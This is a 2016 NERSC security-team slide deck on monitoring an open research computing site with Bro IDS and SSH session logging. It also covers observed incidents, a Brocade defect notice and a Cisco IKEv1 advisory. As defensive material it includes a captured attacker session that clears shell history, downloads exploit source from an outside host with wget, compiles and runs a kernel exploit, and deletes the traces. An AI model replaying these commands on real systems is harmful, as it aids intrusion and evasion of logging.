Open Science, Open Security

Abe Singer, Scott Campbell
NERSC Security Group
October 21, 2016
About NERSC

- > 100Gbit Network
- Thousands of users
- SSH access and shell accounts for everyone!
- Passwords/Keys for unprivileged authentication
- Highly diverse code base
- Users can run what they want
Why are we different?

• Mission: security’s primary job is to enable science.
• Small number of incidents, but potentially high impact
• Assume compromised accounts at all times.
• “Standard” security practices don’t apply; we’re not a corporate environment
• Scale
Security at NERSC

• Constant re-evaluation with changes in tech and technique.
• Culture of good system administration practices
• Users as a vulnerability
• Gather data and try to automate as much analysis as possible.
Tools

- Bro
- IDS
- Event Correlation
- Monitoring
Bro Data Feeds

Host
- iSSHD
- syslog
- auditd

Network
- tap

Bro
iSSHD: Solution Architecture
Fluentd is an open source log/message caching, routing and transport tool. Replaces stunnel!
Input Framework reads in structured text Log file and outputs events.
Bro Core processes events, logging all the data and applying policy as defined.
iSSHD: Example #1

AUTH_OK: resu keyboard-interactive/pam 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
SESSION_REMOTE_DO_EXEC: sh -i
SESSION_REMOTE_EXEC_NOPTY: sh -i
NOTTY_DATA_CLIENT: sh
NOTTY_DATA_SERVER: sh
NOTTY_DATA_CLIENT: unset HISTFILE
NOTTY_DATA_CLIENT: cd /dev/shm
NOTTY_DATA_CLIENT: mkdir ...
NOTTY_DATA_CLIENT: wget http://host.example.com:23/ab.c
NOTTY_DATA_CLIENT: gcc ab.c -o ab -m32
NOTTY_DATA_CLIENT: ./ab
NOTTY_DATA_SERVER: [32mAc1dB1tCh3z [0mVS Linux kernel 2.6 kernel 0d4y
NOTTY_DATA_SERVER: $$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5n-perf
NOTTY_DATA_SERVER: $$$ L00k1ng f0r kn0wn t4rg3tz..,.n
NOTTY_DATA_SERVER: $$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
NOTTY_DATA_SERVER: !!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!
NOTTY_DATA_CLIENT: rm -rf ab ab.c
SSH_CONNECTION_END: kill -9 $$
SSH_CONNECTION_END: 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
iSSHD: Example #1

AUTH_OK
SESSION_REMOTE_DO_EXEC
SESSION_REMOTE_EXEC_NOPTY
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
SSH_CONNECTION_END

resu keyboard-interactive/pam 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
sh -i
sh -i
uname -a
Linux comp05 2.6.18...GNU/Linux/
unset HISTFILE
cd /dev/shm
mkdir ... ; cd ...
wget http://host.example.com:23/ab.c
gcc ab.c -o ab -m32
./ab
[32mAc1dB1tCh3z [0mVS Linux kernel 2.6 kernel 0d4y
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5n-perf
??? Trying the F0PPPPppppppppp__m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!
rm -rf ab ab.c
kill -9 $$
1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
These were not dumb kids – other longer conversations indicated an understanding of *NIX internals. Difficult to get at Soft Data otherwise.
What do we see?

- Vendor demos: root, “password” ...
- Spoofed DDOS traffic from internal hosts.
- Endless user compromises.
- Web attacks on user facing infrastructure.
- Fake PI accounts being used as jumping points for attacking account systems.
- Networking hijinks!
Netiron 5.9.00C005 is based on Netiron 5.9.00bd with the following additions in code. For details on Netiron 5.9.00bd please go to http://my.brocade.com and log in using your account.

Netiron 5.9.00C005 is a Customer Verification build with a preventative fix for the defect listed below.

**Caveats for 5.9.00C005 -**
- Customers with any IPSec configuration on an MLX should not use this image
- Customers using releases below 5.9.00 are not required to upgrade to this release since DEFECT000617836 is not seen on releases below 5.9.00

<table>
<thead>
<tr>
<th>Defect ID:</th>
<th>DEFECT000617836</th>
</tr>
</thead>
<tbody>
<tr>
<td>Technical Severity:</td>
<td>Critical</td>
</tr>
<tr>
<td>Probability:</td>
<td>Medium</td>
</tr>
<tr>
<td>Product:</td>
<td>Brocade Netiron OS</td>
</tr>
<tr>
<td>Technology Group:</td>
<td>Other</td>
</tr>
<tr>
<td>Reported In Release:</td>
<td>NI 05.9.00 and above</td>
</tr>
<tr>
<td>Technology:</td>
<td>Other</td>
</tr>
</tbody>
</table>
| Symptom:            | Linecards on an MLX unexpectedly reloading at random intervals. The stack trace seen using the "show save" command is as follows -
|                     | 212c0860: ipcom_pqueue_get_next(pc) |
|                     | 212ca014: ipcom_tmo2_select(lr)     |
|                     | 21204e70: ike_wr_timer              |
|                     | 211e874c: ike_sys_timer             |
|                     | 00040160: sys_end_entry             |
|                     | 0005e4c8: suspend                   |
|                     | 00062230: receive_message           |
|                     | 00005024: xsyscall                   |
|                     | 211e8c28: ike_task                   |
|                     | 00040158: sys_end_task               |
| Condition:          | The exact trigger is under investigation |

Sept 18, 2016
UPDATE September 21, 2016:
Based on the Shadow Brokers disclosure, Cisco started an investigation into other products that could potentially be impacted by a similar exploits and vulnerabilities. During further investigation of BENIGNCERTAIN, Cisco security researchers found a vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.